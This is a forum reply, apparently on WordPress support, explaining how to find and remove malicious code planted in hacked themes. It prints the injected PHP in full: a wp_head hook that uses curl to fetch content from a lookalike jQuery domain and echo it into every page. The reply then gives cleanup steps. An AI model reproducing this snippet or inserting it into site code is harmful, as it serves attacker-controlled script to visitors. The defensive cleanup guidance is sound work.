Hello! I’ve just fixed this problem on one of my websites, so I might be able to help.
Seems that someone massively distributed hacked themes, and today his website went down – that’s why you have this error now. Your website is trying to find jquery file on his website, but can’t find it.
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){if (function_exists('curl_init')){$url = "https://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_slider');} ?>
This is how mine malicious code looked.
Download your theme folder, run a search for “jquery-1.6.3.min.js” through all files(by using Notepad++ on Windows or Search for Files on Linux) and locate code similar to one from above.
If you find this code in some important file(functions.php for example) delete this part:
{if (function_exists('curl_init')){$url = "https://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}
save the file, re-upload it and see if it helps.
If you find this code in some weird file(mine was class.php) and all it contains is check for one function and malicious code, delete this file, and create the one with same name, but empty the code(only <?php ?>).
Edit: If you have a legitimate theme, then be sure to check plugins also.
Regards,
Stefan